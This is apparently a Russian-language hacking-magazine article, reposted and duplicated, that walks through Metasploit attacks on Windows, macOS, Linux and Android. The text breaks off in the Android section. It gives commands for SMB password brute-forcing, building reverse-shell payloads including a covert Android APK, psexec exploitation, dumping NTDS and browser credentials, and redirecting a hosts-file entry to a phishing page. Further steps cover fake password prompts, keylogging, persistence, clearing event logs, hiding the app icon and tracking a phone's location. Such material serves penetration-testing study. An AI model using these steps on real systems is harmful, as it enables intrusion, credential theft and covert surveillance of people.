Metasploit Framework — самый масштабный и распиаренный из всех фреймворков для эксплуатации и постэксплуатации. Даже если ты не используешь его сам, то наверняка встречал немало упоминаний MSF в наших статьях. Однако вводной статьи по нему в «Хакере» не было, а если и была, то так давно, что не считается. Я попробую начать с самого начала, а заодно расскажу, как именно этот фреймворк использует моя команда, и дам разные практические советы.
Установка Metasploit Framework
В дистрибутивах, предназначенных для тестирования на проникновение (к примеру, Kali или Parrot OS), этот продукт либо предустановлен, либо легко устанавливается следующей командой:
Если же ты хочешь использовать Metasploit Framework, например, в Ubuntu, то его можно установить из официального репозитория. Для этого набери в консоли следующие директивы:
База данных Metasploit
Довольно часто пользователям Metasploit приходится ломать сети, содержащие очень много хостов. И наступает момент, когда аккумулирование всей полученной информации занимает непозволительно долгое время. Именно тогда начинаешь ценить возможность работы Metasploit Framework с СУБД PostgreSQL. Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit.
Сообщение msfdb об успешном создании базы данных
Проверить подключение к базе данных можно из самого фреймворка, выполнив команду db_status.
Успешное подключение к базе данных Metasploit
Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого рабочего пространства. Давай добавим новое пространство в наш проект.
Создание нового рабочего пространства
Теперь мы действуем в созданном рабочем пространстве. Представим, что мы находимся в сети 192.168.6.0.24. Давай поищем в ней доступные хосты. Для этого будем использовать Nmap, но из Metasploit и с привязкой к текущей базе данных — db_nmap.
Сам вывод Nmap нам неинтересен: все, что нужно, будет сохранено в базе данных. К примеру, у нас есть уже все просканированные хосты и мы можем их просмотреть одним списком с помощью команды hosts.
Список просканированных хостов, сохраненный в базе данных
Но заодно с хостами были сохранены и все службы, список которых у нас теперь также всегда будет под рукой. При этом мы можем посмотреть как вообще все службы на портах, так и список служб для определенного хоста.
Список всех найденных служб
Список найденных на определенном хосте служб
У базы данных msfdb есть очень крутая возможность — сохранение всех найденных учетных данных. Об этой функции я расскажу позже, а сначала несколько слов о возможностях брутфорса, которыми располагает фреймворк. Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой:
Модули для брутфорса учетных данных некоторых служб
Обрати внимание на SMB. Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info.
Описание модуля smb_login
Давай выберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей.
Настройка модуля smb_login
Обнаруженный smb_login пароль для целевого пользователя
Если найденный пользователь — администратор, Metasploit сообщит нам об этом, что очень удобно. Но ведь в нашей сети может быть 100 машин и даже больше, а на них наверняка запущено множество служб. Как правило, удается собрать много учетных данных, используя только модули брутфорса. Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой creds.
Хранилище учетных данных msfdb
Я описал не все функции msfdb (есть интеграции со сканерами Nessus и OpenVAS), а лишь те, которыми постоянно пользуется наша команда.
Получение точки опоры
Полезная нагрузка
Metasploit предоставляет большой арсенал возможностей для создания полезной нагрузки. Но нужно учитывать, что существуют разные способы внедрения этой самой нагрузки. С помощью фреймворка можно создавать как легкие пейлоады для выполнения команд и получения простого шелла, так и сложные, например meterpreter или VNC (с использованием дополнительного загрузчика).
При этом одна и та же полезная нагрузка может работать как в режиме ожидания подключения (bind), так и в режиме reverse (для бэкконнекта от целевого хоста). Стоит учитывать, что чем легче нагрузка, тем больше ее надежность и стабильность. Так, обычный шелл может быть создан с помощью AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, PowerShell.
Чтобы найти нагрузку для определенного случая, используем команду search.
Некоторые виды полезной нагрузки Metasploit
В большинстве случаев используется загрузчик в одном из следующих форматов: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war. Для работы с пейлоадами в составе фреймворка имеется свой модуль — msfvenom.
Давай для примера создадим нагрузку meterpreter типа reverse, работающую по протоколу TCP для операционной системы Windows, — это windows/x64/meterpreter/reverse_tcp.
Описание нагрузки windows/x64/meterpreter/reverse_tcp
Главными параметрами для этой полезной нагрузки будут LHOST и LPORT — адрес и порт нашего сервера для бэкконнекта. Создадим нагрузку в формате *.exe.
Создание нагрузки с помощью msfvenom
Исполняемый файл с нагрузкой готов. Да, у msfvenom есть еще много функций вроде задержек и кодеров, но наша команда их не использует.
Листенер
За создание листенера отвечает модуль exploit/multi/handler. Этому модулю нужно указать только целевой пейлоад, с которым он будет взаимодействовать, и параметры этого пейлоада.
Создание листенера
Есть быстрый способ создать такой листенер — команда укладывается в одну строку.
Создание листенера
И теперь наша задача сделать так, чтобы файл с нагрузкой был выполнен на целевом хосте.
Эксплоиты
Об используемых нами эксплоитах в обертке Metasploit Framework я расскажу кратко, так как для получения точки опоры мы используем только два из них. Это exploit/windows/smb/psexec и exploit/windows/smb/ms17_010_eternalblue. Конечно, если нам удается обнаружить уязвимые службы и для них есть эксплоиты в Metasploit, они тоже идут в дело, но такое случается редко. В следующих разделах мы чуть подробнее разберем именно нагрузку meterpreter, так как легкие нагрузки обеспечивают доступ к обычному шеллу, а vncinject просто открывает удаленный рабочий стол. Для модуля psexec укажем полученные учетные данные, адрес целевого хоста и тип нагрузки с необходимыми параметрами.
Получение сессии meterpreter
В итоге мы получаем сессию meterpreter для удаленного хоста с операционной системой Windows.
Эксплуатация и постэксплуатация
Windows
База meterpreter
Теперь я расскажу о модулях, которые мы используем, когда у нас уже имеется сессия meterpreter. Как и во множестве других фреймворков, в Metasploit присутствуют полезные команды для загрузки файлов download и upload. Для стабильности мы можем перенести нашу сессию в другой процесс на хосте с помощью команды migrate. Эта команда принимает один параметр — PID целевого процесса, получить который можно из списка процессов (с помощью команды ps).
Мигрирование в другой процесс
Также мы можем создавать свои процессы. Для этого нужно указать лишь файл (-f) и при желании включить интерактивный (-i) или скрытый (-H) режимы.
Создание скрытого процесса cmd.exe
Кстати, проблема кодировки решается с помощью команды cp 65001. Опция, используемая почти всегда, — переход в контекст SYSTEM. Для этого нужно просто выполнить команду getsystem.
Переход в контекст SYSTEM
Очень полезна функция поиска файлов, если тебе нужно найти на удаленной машине документы или архивы.
Поиск всех файлов TXT
Еще можно выполнить на взломанном хосте команду PowerShell или Python, а также загрузить PS1-файл или скрипт на Python в память. Для этого сначала запусти нужные модули, а потом выбери соответствующую команду.
Туннели
Одна из самых крутых возможностей Metasploit — создание туннелей. Мы можем использовать захваченный хост как мост между внешней и внутренней сетью. Обычно сначала проверяют, есть ли дополнительные сетевые интерфейсы.
Получение адреса внутренней сети
Для обнаружения хостов мы можем посмотреть таблицу ARP.
ARP-таблица целевого хоста
Теперь нам необходимо построить туннель. Сначала создадим маршрут и проверим его с помощью autoroute.
Теперь отправим сессию в фоновый режим, тем самым перейдя из оболочки meterpreter в оболочку msf.
На следующем этапе нам нужно настроить SOCKS-прокси-сервер. За это отвечает модуль auxiliary/server/socks4a. В качестве параметров он принимает хост и порт (по умолчанию — localhost:1080).
Создание SOCKS4-прокси-сервера
Чтобы вернуться обратно в оболочку meterpreter, можно воспользоваться командой sessions и указать номер сессии.
Переход в фоновый режим
В качестве редиректора мы можем использовать ProxyChains. Для этого укажем адрес созданного нами прокси-сервера в файле конфигурации /etc/proxychains.conf.
Файл конфигурации ProxyChains
Теперь просканируем с помощью Nmap и созданного туннеля найденный в ARP-таблице хост.
Сбор учетных данных
Сбор паролей и хешей — неотъемлемая часть любой атаки, и Metasploit позволяет это делать легко и непринужденно. Первый метод — воспользоваться командой hashdump, которая собирает хеши из файла SAM.
Использование опции hashdump
Если мы имеем доступ к контроллеру домена, то можем очень легко сдампить файл NTDS.DIT.
Использование опции hashdump
При этом мы можем получать пароли из групповой политики и MS SQL благодаря модулям post/windows/gather/credentials/gpp, а также сохраненные пароли Skype, TeamViewer и Outlook (post/windows/gather/credentials/outlook, post/windows/gather/credentials/skype, post/windows/gather/credentials/teamviewer_passwords). Ну и конечно же, я не могу оставить без внимания браузеры, из которых мы получаем не только учетные данные, но еще и файлы куки, и историю просмотра веб-страниц.
Получение данных из браузера
Все эти файлы сохранятся в базе msfdb, и к ним всегда можно получить доступ, выполнив команду loot.
Результат loot msfdb
На самом деле файлы не текстовые. Они представляют собой базу данных SQLite, но вот сохраненные пароли мы находим без особого труда.
Сохраненные учетные данные в браузере
И завершим раздел про учетные данные, упомянув интеграцию Metasploit с mimikatz. Для этого загрузим соответствующий модуль.
Загрузка модуля KIWI и mimikatz
О mimikatz я подробно рассказывать не буду — этот инструмент известен, наверное, всем читателям. В Metasploit интегрированы следующие модули, которые можно использовать по мере необходимости.
Модули mimikatz
Разведка
Про разведку в домене я расскажу вкратце. Команд для этой цели имеется великое множество, их можно найти по пути post/windows/gather/. В первую очередь нас интересует получение списка пользователей домена (enum_ad_users), всех групп (enum_ad_groups), зарегистрированных в домене компьютеров (enum_ad_computers), а также общих ресурсов (enum_shares). К более масштабным методам разведки в домене я отнесу модуль post/windows/gather/bloodhound, использующий одноименный инструмент.
Иногда для поиска вектора LPE необходимо изучить установленное на удаленных машинах ПО. Metasploit способен облегчить и эту задачу.
Список установленного ПО
Не мешает лишний раз проверить наличие каких-нибудь CVE для повышения привилегий. За их перечисление отвечает модуль post/multi/recon/local_exploit_suggester. Вот пример найденной этим модулем уязвимости.
Проверка LPE-эксплоитов
Иногда полезно собирать и анализировать трафик. Сначала нам нужно загрузить модуль sniffer и изучить доступные сетевые интерфейсы.
Загрузка модуля sniffer
Теперь следует активировать сниффер на определенном интерфейсе и указать файл, в который мы будем собирать трафик. После окончания сбора данных нужно будет завершить процесс прослушивания интерфейса.
Запись трафика
И не оставим без внимания возможности кейлоггера. Команды start, dump и stop аналогичны уже рассмотренным выше.
Запись нажатия клавиш
Обеспечение доступа
Для обеспечения доступа в Metasploit предусмотрено множество крутых инструментов. Начнем с токенов доступа, которые позволяют нам выдать себя за других пользователей. Для начала загрузим модуль incognito и посмотрим, какие токены есть в системе.
Загрузка модуля incognito
Судя по результатам обработки команды, мы можем войти в контекст пользователя MediaAdmin$. Давай сделаем это.
Запись нажатия клавиш
И вот мы уже работаем от его имени! Выполнением программ на C# в памяти уже никого не удивить, поэтому скажу лишь, что это делается с помощью post/windows/manage/execute_dotnet_assembly.
Если мы заметим, что пользователь часто обращается к какому-то сайту по доменному имени, мы можем сделать копию страницы авторизации этого сайта и подменить его адрес в файле hosts.
Таким образом пользователь при обращении к www.microsoft.com будет попадать на наш сервер. При необходимости можно быстро установить на хост Python или SSH-сервер, для чего нам понадобятся следующие модули:
Быстрая установка Python и SSH на целевой хост
Так же как и в Empire, мы можем включить RDP и изменить настройки файрвола с помощью модуля
Включение RDP на целевом хосте
Не секрет, что, если в момент атаки компьютер будет перезагружен, мы потеряем текущую сессию, поэтому важно на всякий случай закрепиться в системе. Тут все просто: можно использовать любой метод, который тебе по нраву (мы юзаем опцию -S).
Модуль сохранения доступа
Закрепление в системе
Напоследок нужно зачистить следы. Наша команда использует для этого возможности модуля clearev.
Очистка логов в журналах событий и безопасности
Вот так и проходят атаки на Windows-машины.
macOS
Технология атак на компьютеры под управлением macOS уже подробно рассматривалась в статье, посвященной фреймворку Empire. Поэтому не станем останавливаться на теории и сразу перейдем к практике. Нам нужно создать нагрузку в формате macho и запустить для нее листенер.
Генерируем нагрузку в формате macho
Создание листенера для сгенерированной нагрузки
После выполнения полезной нагрузки сразу проверим версию операционной системы.
Подключение агента и проверка версии операционной системы
Теперь, когда мы знаем, с чем имеем дело, нам нужно перечислить важные файлы. В этом нам поможет модуль enum_osx, который запишет в журнал собранную информацию.
Собранная enum_osx информация
Когда имеешь дело с маками, приходится по максимуму использовать приемы социальной инженерии. Например, с помощью password_prompt_spoof мы можем показать пользователю вот такое окошко.
Окно запроса пароля
Можно сколько угодно нажимать Cancel: это совершенно бесполезно, потому что окно будет открываться заново, пока юзер не введет пароль.
Получение пароля пользователя с помощью модуля password_prompt_spoof
За работу кейлоггера отвечает модуль
Запись экрана пользователя
Linux
Схема атаки на машины под управлением ОС Linux в целом такая же, как при работе с Windows и macOS. Сначала сгенерируем нагрузку, а затем запустим листенер и посмотрим информацию о системе.
Генерация нагрузки
Создание листенера для сгенерированной нагрузки
Подключение агента и проверка версии операционной системы
Поскольку разведка обычно проводится с помощью скриптов вроде LinPEAS, то Metasploit оставляет нам не так уж много возможностей. Тем не менее один модуль запускается всегда — local_exploit_suggester. С его помощью мы можем просмотреть эксплоиты для повышения привилегий.
Перечисление возможных эксплоитов
Еще один легкий, но приятный модуль уже для сохранения доступа — linux/manage/sshkey_persistence. Этот модуль запишет свой SSH-ключ, благодаря чему мы сможем в любой момент восстановить утраченный доступ к системе. Следует отметить, что скрипты перечисления не проверяют профили браузеров, мы это делаем с помощью firefox_creds.
Профили Firefox
И последний полезный модуль — linux/manage/iptables_removal. С его помощью очень, очень удобно удалять правила файрвола.
Удаление правил iptables
Android
С девайса под управлением Android можно вытащить много интересной информации. Эта обширная тема тянет на отдельную заметку, поэтому здесь мы разберем несколько прикольных фишек, которые предоставляет для данной платформы meterpreter. Давай соберем нагрузку для Android с помощью msfvenom.
Создание meterpreter-нагрузки для Android
Теперь активируем листенер.
Активация листенера
Затем любым удобным способом доставим созданный нами .apk-файл на целевое устройство и выполним его. Приложение запустится в фоновом режиме, и пользователь не заметит ничего подозрительного.
Подключение агента и проверка системы
Первым делом скроем значок своего приложения командой hide_app_icon, чтобы оно не отображалось в меню пользователя. Также сразу полезно узнать, рутован ли смартфон, — для этого используется тулза check_root.
Проверка смартфона на наличие root-привилегий
Используемый нами инструментарий позволяет устанавливать, удалять, просматривать установленные программы и запускать приложения. Например, я поудалял на смартфоне все программы от производителя. Сделать это можно с помощью следующих команд:
Результат команды app_list
Также мы можем получить все контакты, список вызовов и SMS благодаря модулям dump_contacts, dump_calllog, dump_sms. Но самая крутая фишка — следить за перемещением пользователя смартфона при помощи модуля geolocate.
Получение координат смартфона
Определение местоположения на картах Google
Заключение
Как видишь, Metasploit намного более универсальный, чем другие фреймворки, поэтому сравнивать его с конкурентами очень непросто. Это один из инструментов, о возможностях которых нужно как минимум знать. Надеюсь, эта статья помогла тебе в их освоении.
Автор @RalfHacker
взято с хакер.ру
Установка Metasploit Framework
В дистрибутивах, предназначенных для тестирования на проникновение (к примеру, Kali или Parrot OS), этот продукт либо предустановлен, либо легко устанавливается следующей командой:
Код:
apt install metasploit-framework
Код:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
sudo chmod 755 msfinstall
sudo ./msfinstall
База данных Metasploit
Довольно часто пользователям Metasploit приходится ломать сети, содержащие очень много хостов. И наступает момент, когда аккумулирование всей полученной информации занимает непозволительно долгое время. Именно тогда начинаешь ценить возможность работы Metasploit Framework с СУБД PostgreSQL. Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit.
Код:
service postgresql start
msfdb init
Сообщение msfdb об успешном создании базы данных
Проверить подключение к базе данных можно из самого фреймворка, выполнив команду db_status.
Успешное подключение к базе данных Metasploit
Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого рабочего пространства. Давай добавим новое пространство в наш проект.
Код:
> workspace -a xakep
Создание нового рабочего пространства
Теперь мы действуем в созданном рабочем пространстве. Представим, что мы находимся в сети 192.168.6.0.24. Давай поищем в ней доступные хосты. Для этого будем использовать Nmap, но из Metasploit и с привязкой к текущей базе данных — db_nmap.
Код:
> db_nmap -O 192.168.6.0/24
Список просканированных хостов, сохраненный в базе данных
Но заодно с хостами были сохранены и все службы, список которых у нас теперь также всегда будет под рукой. При этом мы можем посмотреть как вообще все службы на портах, так и список служб для определенного хоста.
Список всех найденных служб
Список найденных на определенном хосте служб
У базы данных msfdb есть очень крутая возможность — сохранение всех найденных учетных данных. Об этой функции я расскажу позже, а сначала несколько слов о возможностях брутфорса, которыми располагает фреймворк. Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой:
Код:
> search type auxiliary/scanner -S "_login"
Модули для брутфорса учетных данных некоторых служб
Обрати внимание на SMB. Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info.
Код:
info auxiliary/scanner/smb/smb_login
Описание модуля smb_login
Давай выберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей.
Код:
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.6.129
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser root
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/ralf/tmp/pass.txt
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain DOMAIN
msf5 auxiliary(scanner/smb/smb_login) > run
Настройка модуля smb_login
Обнаруженный smb_login пароль для целевого пользователя
Если найденный пользователь — администратор, Metasploit сообщит нам об этом, что очень удобно. Но ведь в нашей сети может быть 100 машин и даже больше, а на них наверняка запущено множество служб. Как правило, удается собрать много учетных данных, используя только модули брутфорса. Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой creds.
Хранилище учетных данных msfdb
Я описал не все функции msfdb (есть интеграции со сканерами Nessus и OpenVAS), а лишь те, которыми постоянно пользуется наша команда.
Получение точки опоры
Полезная нагрузка
Metasploit предоставляет большой арсенал возможностей для создания полезной нагрузки. Но нужно учитывать, что существуют разные способы внедрения этой самой нагрузки. С помощью фреймворка можно создавать как легкие пейлоады для выполнения команд и получения простого шелла, так и сложные, например meterpreter или VNC (с использованием дополнительного загрузчика).
При этом одна и та же полезная нагрузка может работать как в режиме ожидания подключения (bind), так и в режиме reverse (для бэкконнекта от целевого хоста). Стоит учитывать, что чем легче нагрузка, тем больше ее надежность и стабильность. Так, обычный шелл может быть создан с помощью AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, PowerShell.
Чтобы найти нагрузку для определенного случая, используем команду search.
Код:
search payload/
Некоторые виды полезной нагрузки Metasploit
В большинстве случаев используется загрузчик в одном из следующих форматов: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war. Для работы с пейлоадами в составе фреймворка имеется свой модуль — msfvenom.
Давай для примера создадим нагрузку meterpreter типа reverse, работающую по протоколу TCP для операционной системы Windows, — это windows/x64/meterpreter/reverse_tcp.
Описание нагрузки windows/x64/meterpreter/reverse_tcp
Главными параметрами для этой полезной нагрузки будут LHOST и LPORT — адрес и порт нашего сервера для бэкконнекта. Создадим нагрузку в формате *.exe.
Код:
msfvenom -p [пейлоад] [параметры пейлоада] -f [формат] -o [итоговый файл]
Создание нагрузки с помощью msfvenom
Исполняемый файл с нагрузкой готов. Да, у msfvenom есть еще много функций вроде задержек и кодеров, но наша команда их не использует.
Листенер
За создание листенера отвечает модуль exploit/multi/handler. Этому модулю нужно указать только целевой пейлоад, с которым он будет взаимодействовать, и параметры этого пейлоада.
Код:
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.6.1
> set LPORT 4321
> run
Создание листенера
Есть быстрый способ создать такой листенер — команда укладывается в одну строку.
Код:
handler -p [пейлоад] -H [хост] -P [порт]
Создание листенера
И теперь наша задача сделать так, чтобы файл с нагрузкой был выполнен на целевом хосте.
Эксплоиты
Об используемых нами эксплоитах в обертке Metasploit Framework я расскажу кратко, так как для получения точки опоры мы используем только два из них. Это exploit/windows/smb/psexec и exploit/windows/smb/ms17_010_eternalblue. Конечно, если нам удается обнаружить уязвимые службы и для них есть эксплоиты в Metasploit, они тоже идут в дело, но такое случается редко. В следующих разделах мы чуть подробнее разберем именно нагрузку meterpreter, так как легкие нагрузки обеспечивают доступ к обычному шеллу, а vncinject просто открывает удаленный рабочий стол. Для модуля psexec укажем полученные учетные данные, адрес целевого хоста и тип нагрузки с необходимыми параметрами.
Код:
> use exploit/windows/smb/psexec
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.6.1
> set LPORT 9876
> set RHOSTS 192.168.6.129
> set SMBUser root
> set SMBPass 1q2w#E$R
> set SMBDomain domain.dom
> run
Получение сессии meterpreter
В итоге мы получаем сессию meterpreter для удаленного хоста с операционной системой Windows.
Эксплуатация и постэксплуатация
Windows
База meterpreter
Теперь я расскажу о модулях, которые мы используем, когда у нас уже имеется сессия meterpreter. Как и во множестве других фреймворков, в Metasploit присутствуют полезные команды для загрузки файлов download и upload. Для стабильности мы можем перенести нашу сессию в другой процесс на хосте с помощью команды migrate. Эта команда принимает один параметр — PID целевого процесса, получить который можно из списка процессов (с помощью команды ps).
Мигрирование в другой процесс
Также мы можем создавать свои процессы. Для этого нужно указать лишь файл (-f) и при желании включить интерактивный (-i) или скрытый (-H) режимы.
Код:
execute -f cmd.exe -i -H
Создание скрытого процесса cmd.exe
Кстати, проблема кодировки решается с помощью команды cp 65001. Опция, используемая почти всегда, — переход в контекст SYSTEM. Для этого нужно просто выполнить команду getsystem.
Переход в контекст SYSTEM
Очень полезна функция поиска файлов, если тебе нужно найти на удаленной машине документы или архивы.
Поиск всех файлов TXT
Еще можно выполнить на взломанном хосте команду PowerShell или Python, а также загрузить PS1-файл или скрипт на Python в память. Для этого сначала запусти нужные модули, а потом выбери соответствующую команду.
Туннели
Одна из самых крутых возможностей Metasploit — создание туннелей. Мы можем использовать захваченный хост как мост между внешней и внутренней сетью. Обычно сначала проверяют, есть ли дополнительные сетевые интерфейсы.
Код:
> ifconfig
Получение адреса внутренней сети
Для обнаружения хостов мы можем посмотреть таблицу ARP.
Код:
> arp
ARP-таблица целевого хоста
Теперь нам необходимо построить туннель. Сначала создадим маршрут и проверим его с помощью autoroute.
Код:
> run autoroute -s 10.0.0.0/24
> run autoroute -p
Код:
> background
Код:
> use auxiliary/server/socks4a
> run
Создание SOCKS4-прокси-сервера
Чтобы вернуться обратно в оболочку meterpreter, можно воспользоваться командой sessions и указать номер сессии.
Переход в фоновый режим
В качестве редиректора мы можем использовать ProxyChains. Для этого укажем адрес созданного нами прокси-сервера в файле конфигурации /etc/proxychains.conf.
Файл конфигурации ProxyChains
Теперь просканируем с помощью Nmap и созданного туннеля найденный в ARP-таблице хост.
Код:
## proxychains -q nmap 10.0.0.5
Сбор учетных данных
Сбор паролей и хешей — неотъемлемая часть любой атаки, и Metasploit позволяет это делать легко и непринужденно. Первый метод — воспользоваться командой hashdump, которая собирает хеши из файла SAM.
Использование опции hashdump
Если мы имеем доступ к контроллеру домена, то можем очень легко сдампить файл NTDS.DIT.
Код:
> use post/windows/gather/ntds_grabber
> set SESSION 5
> run
Использование опции hashdump
При этом мы можем получать пароли из групповой политики и MS SQL благодаря модулям post/windows/gather/credentials/gpp, а также сохраненные пароли Skype, TeamViewer и Outlook (post/windows/gather/credentials/outlook, post/windows/gather/credentials/skype, post/windows/gather/credentials/teamviewer_passwords). Ну и конечно же, я не могу оставить без внимания браузеры, из которых мы получаем не только учетные данные, но еще и файлы куки, и историю просмотра веб-страниц.
Код:
> use post/windows/gather/enum_chrome
> set session 5
> run
Получение данных из браузера
Все эти файлы сохранятся в базе msfdb, и к ним всегда можно получить доступ, выполнив команду loot.
Результат loot msfdb
На самом деле файлы не текстовые. Они представляют собой базу данных SQLite, но вот сохраненные пароли мы находим без особого труда.
Сохраненные учетные данные в браузере
И завершим раздел про учетные данные, упомянув интеграцию Metasploit с mimikatz. Для этого загрузим соответствующий модуль.
Загрузка модуля KIWI и mimikatz
О mimikatz я подробно рассказывать не буду — этот инструмент известен, наверное, всем читателям. В Metasploit интегрированы следующие модули, которые можно использовать по мере необходимости.
Модули mimikatz
Разведка
Про разведку в домене я расскажу вкратце. Команд для этой цели имеется великое множество, их можно найти по пути post/windows/gather/. В первую очередь нас интересует получение списка пользователей домена (enum_ad_users), всех групп (enum_ad_groups), зарегистрированных в домене компьютеров (enum_ad_computers), а также общих ресурсов (enum_shares). К более масштабным методам разведки в домене я отнесу модуль post/windows/gather/bloodhound, использующий одноименный инструмент.
Иногда для поиска вектора LPE необходимо изучить установленное на удаленных машинах ПО. Metasploit способен облегчить и эту задачу.
Список установленного ПО
Не мешает лишний раз проверить наличие каких-нибудь CVE для повышения привилегий. За их перечисление отвечает модуль post/multi/recon/local_exploit_suggester. Вот пример найденной этим модулем уязвимости.
Проверка LPE-эксплоитов
Иногда полезно собирать и анализировать трафик. Сначала нам нужно загрузить модуль sniffer и изучить доступные сетевые интерфейсы.
Загрузка модуля sniffer
Теперь следует активировать сниффер на определенном интерфейсе и указать файл, в который мы будем собирать трафик. После окончания сбора данных нужно будет завершить процесс прослушивания интерфейса.
Запись трафика
И не оставим без внимания возможности кейлоггера. Команды start, dump и stop аналогичны уже рассмотренным выше.
Запись нажатия клавиш
Обеспечение доступа
Для обеспечения доступа в Metasploit предусмотрено множество крутых инструментов. Начнем с токенов доступа, которые позволяют нам выдать себя за других пользователей. Для начала загрузим модуль incognito и посмотрим, какие токены есть в системе.
Код:
> load incognito
> list_tokens -u
Загрузка модуля incognito
Судя по результатам обработки команды, мы можем войти в контекст пользователя MediaAdmin$. Давай сделаем это.
Код:
impersonate_token DOMAIN\\MediaAdmin$
Запись нажатия клавиш
И вот мы уже работаем от его имени! Выполнением программ на C# в памяти уже никого не удивить, поэтому скажу лишь, что это делается с помощью post/windows/manage/execute_dotnet_assembly.
Если мы заметим, что пользователь часто обращается к какому-то сайту по доменному имени, мы можем сделать копию страницы авторизации этого сайта и подменить его адрес в файле hosts.
Код:
run hostsedit -e 192.168.6.1,www.microsoft.com
Таким образом пользователь при обращении к www.microsoft.com будет попадать на наш сервер. При необходимости можно быстро установить на хост Python или SSH-сервер, для чего нам понадобятся следующие модули:
post/windows/manage/install_python и post/windows/manage/install_ssh.
Быстрая установка Python и SSH на целевой хост
Так же как и в Empire, мы можем включить RDP и изменить настройки файрвола с помощью модуля
post/windows/manage/enable_rdp.
Включение RDP на целевом хосте
Не секрет, что, если в момент атаки компьютер будет перезагружен, мы потеряем текущую сессию, поэтому важно на всякий случай закрепиться в системе. Тут все просто: можно использовать любой метод, который тебе по нраву (мы юзаем опцию -S).
Модуль сохранения доступа
Закрепление в системе
Напоследок нужно зачистить следы. Наша команда использует для этого возможности модуля clearev.
Очистка логов в журналах событий и безопасности
Вот так и проходят атаки на Windows-машины.
macOS
Технология атак на компьютеры под управлением macOS уже подробно рассматривалась в статье, посвященной фреймворку Empire. Поэтому не станем останавливаться на теории и сразу перейдем к практике. Нам нужно создать нагрузку в формате macho и запустить для нее листенер.
Генерируем нагрузку в формате macho
Создание листенера для сгенерированной нагрузки
После выполнения полезной нагрузки сразу проверим версию операционной системы.
Подключение агента и проверка версии операционной системы
Теперь, когда мы знаем, с чем имеем дело, нам нужно перечислить важные файлы. В этом нам поможет модуль enum_osx, который запишет в журнал собранную информацию.
Код:
run post/osx/gather/enum_osx
Собранная enum_osx информация
Когда имеешь дело с маками, приходится по максимуму использовать приемы социальной инженерии. Например, с помощью password_prompt_spoof мы можем показать пользователю вот такое окошко.
Окно запроса пароля
Можно сколько угодно нажимать Cancel: это совершенно бесполезно, потому что окно будет открываться заново, пока юзер не введет пароль.
Код:
run osx/gather/password_prompt_spoof
Получение пароля пользователя с помощью модуля password_prompt_spoof
За работу кейлоггера отвечает модуль
osx/capture/keylog_recorder, а за получение хешей — osx/gather/hashdump. Наблюдать за работой этих инструментов удобнее всего с помощью команды screenshare.
Запись экрана пользователя
Linux
Схема атаки на машины под управлением ОС Linux в целом такая же, как при работе с Windows и macOS. Сначала сгенерируем нагрузку, а затем запустим листенер и посмотрим информацию о системе.
Генерация нагрузки
Создание листенера для сгенерированной нагрузки
Подключение агента и проверка версии операционной системы
Поскольку разведка обычно проводится с помощью скриптов вроде LinPEAS, то Metasploit оставляет нам не так уж много возможностей. Тем не менее один модуль запускается всегда — local_exploit_suggester. С его помощью мы можем просмотреть эксплоиты для повышения привилегий.
Перечисление возможных эксплоитов
Еще один легкий, но приятный модуль уже для сохранения доступа — linux/manage/sshkey_persistence. Этот модуль запишет свой SSH-ключ, благодаря чему мы сможем в любой момент восстановить утраченный доступ к системе. Следует отметить, что скрипты перечисления не проверяют профили браузеров, мы это делаем с помощью firefox_creds.
Профили Firefox
И последний полезный модуль — linux/manage/iptables_removal. С его помощью очень, очень удобно удалять правила файрвола.
Удаление правил iptables
Android
С девайса под управлением Android можно вытащить много интересной информации. Эта обширная тема тянет на отдельную заметку, поэтому здесь мы разберем несколько прикольных фишек, которые предоставляет для данной платформы meterpreter. Давай соберем нагрузку для Android с помощью msfvenom.
Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.116 LPORT=4321 -o 1.apk
Создание meterpreter-нагрузки для Android
Теперь активируем листенер.
Код:
handler -p android/meterpreter/reverse_tcp -H 192.168.43.116 -P 4321
Активация листенера
Затем любым удобным способом доставим созданный нами .apk-файл на целевое устройство и выполним его. Приложение запустится в фоновом режиме, и пользователь не заметит ничего подозрительного.
Подключение агента и проверка системы
Первым делом скроем значок своего приложения командой hide_app_icon, чтобы оно не отображалось в меню пользователя. Также сразу полезно узнать, рутован ли смартфон, — для этого используется тулза check_root.
Проверка смартфона на наличие root-привилегий
